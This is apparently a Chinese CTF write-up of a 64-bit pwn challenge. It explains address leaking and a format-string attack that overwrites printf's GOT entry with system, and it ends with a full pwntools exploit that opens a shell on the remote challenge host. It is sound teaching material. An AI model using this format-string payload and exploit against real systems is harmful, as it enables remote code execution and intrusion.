迁移过来的水文

检查保护:

拿到文件先checksec一下:

64位程序,开启canary和nx保护,没有开启PIE(可以使用绝对地址了)

继续往下看,先不着急打开ida,我们先运行一下看看程序大概:输入字符串“aaaa-%p”让Yukkri输出,得到原字符串,此处没有格式化字符串,接下来问要不要继续,要则继续循环,不要则有“gift”,输入得知此处就有格式化字符串,也可以得到偏移是8,但程序也随着结束,大概清楚流程后就可以打开ida了

程序分析:

vuln()函数:

跟刚才运行看到的差不多,循环里输出的只是照样输出,输入不为‘N’或‘n’退出循环格式化字符串

看看buf能不能溢出:

长度不够我们溢出

看看str

在bss段,可以确定是非栈上格式化字符串

现在最开始我们运行一下的优势就体现出来了,当然还是得看一下,万一我们有什么没看到的漏洞。

整体看下来之后其实就是打印Yukkri和我们输入的内容(此处是在栈上的)

思路分析:

1、由于循环中我们输入的内容是在栈上的,而且栈内容没有清空,我们可以考虑输入足够长的字符串进行地址泄露得到libc基地址以及stack地址**

2、得到想要的地址后输入printf的got地址,利用格式化字符串修改为system,这样当输入**’/bin/sh’看似运行print(‘/bin/sh’)时,实际是运行system(‘/bin/sh’)**

3、同时也要输入stack的返回地址,因为我们格式化字符串是在call printf之后再进行的,简单理解就是运行printf之后才会将printf修改为system,所以我们需要

返回到“gift”这里来输入’/bin/sh’触发system(‘/bin/sh’)

注意:我们知道%n是修改4个字节,%hn是修改2个字节,%hhn是修改1个字节,我们手动格式化字符串无法一次性修改太多,因此这里要利用%hn,%hhn多次修改

gdb调试分析:

泄露地址:

我们查看一下循环里输入的栈内容:

可以看到在0x7fffffffdd50处是我们输入的地址,0x7fffffffde38处则可以泄露libc地址,0x7fffffffde50可以泄露栈地址,但我们知道输入的内容不会复原,所以要顺序泄露地址,先输入(0xf8-0x10)=0xe8个字符泄露libc地址,再输入(0x110-0x10)=0x100个字符泄露栈地址。将得到的地址减去偏移就能得到libc基地址和stack地址

布栈:

我们格式化字符串用%hhn替换需要从小到大排序(因为在后面的会包含前面的数量),所以可以考虑将printf分为两次修改,一次修改一个字节,一次修改两个字节,而修改返回地址也需要修改两个字节(0x40170e -> 0x401671),因此prinft的got地址肯定是放在最前面的,而通过一开始的泄露我们可以知道修改printf的两个字节要放在修改返回地址的后面(0x8082>0x1671):

当然这是随机的,不是说system就一定是这个地址,不过一般来讲大于0x1671的概率还是很大的

所以我们在泄露地址后可以将栈依次设置为:

1
printf_got + stack_addr(ret) + printf_got+1                                                                 

修改各个地址:

代码:

1
2
3
4
sys1=system&0xff  # system的低字节
sys2=(system>>8)&0xffff # system的低二三字节
gift_addr=gift&0xffff # gift的低二字节
payload3='%'+str(sys1)+'c%8$hhn'+'%'+str(gift_addr-sys1)+'c%9$hn'+'%'+str(sys2-gift_addr)+'c%10$hn'

上面是获取各个地址数据和修改地址的代码

然后为什么要相减是因为后面地址替换的数量有包含前面已经替换的数量(既然包含了那就减去它)

而为什么要右移8是因为两位十六进制数就是八位二进制数(可以打开电脑自带计算器看看更直观)

printf修改前:

printf修改后:

拿shell:

既然已经将printf修改为system了,而且返回地址也修改了,我们又有一次输入字符串的机会,输入’/bin/sh’即可触发printf(‘/bin/sh’)即system(‘/bin/sh’)了:

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import *
context(arch='amd64',os='linux')
#p=process('./yuku')
libc=ELF('libc-2.31.so')
p=remote('week-2.hgame.lwsec.cn',31924)
elf=ELF('yuku')

# 获取libc地址
payload=b'a'*0xe0+b'b'*0x8
p.sendafter('What would you like to let Yukkri say?',payload)
p.recvuntil(b'b'*8)
libc_base=u64(p.recv(6).ljust(8,b'\x00'))-libc.symbols['setbuffer']-204 # 远程libc基地址
#libc_base=u64(p.recv(6).ljust(8,b'\x00'))-543852 # 本地
success('libc_base:'+hex(libc_base))

# 获取栈地址
payload1=b'a'*0xf8+b'c'*0x8
p.sendlineafter('else?(Y/n)',b'y')
sleep(0.5)
p.send(payload1)
p.recvuntil(b'c'*0x6)
stack_addr=u64(p.recv(6).ljust(8,b'\x00'))-0x120
success('stack_addr:'+hex(stack_addr))
#gdb.attach(p)
#pause()

# 布栈
p.sendlineafter('else?(Y/n)',b'y')
pri=libc_base+libc.symbols['printf']
success('printf:'+hex(pri))
system=libc_base+libc.symbols['system']
success('system:'+hex(system))
pri_got=elf.got['printf']
payload=p64(pri_got)+p64(stack_addr+280)+p64(pri_got+1)
p.send(payload)
#gdb.attach(p)
#pause()

# 将printf的got表修改为system
gift=0x401671
p.sendlineafter('else?(Y/n)',b'n')
sys1=system&0xff
sys2=(system>>8)&0xffff
gift_addr=gift&0xffff
payload3='%'+str(sys1)+'c%8$hhn'+'%'+str((gift_addr)-(sys1))+'c%9$hn'+'%'+str(sys2-gift_addr)+'c%10$hn'
p.sendlineafter('gift for you: \n',payload3)
#gdb.attach(p)
#pause()
sleep(0.5)
p.sendline(b'/bin/sh\x00')
p.interactive()

总结:

此题属于简单的非栈上格式化字符串,因为我们可以直接将想要修改的地址放进栈里,只需要考虑写入的数据谁大谁小,地址谁前谁后的关系就好了,但再难一点的则需要通过格式化字符串放进栈里,这对于如何布置栈就需要更多的思考,后面有遇到再写吧(手动狗头)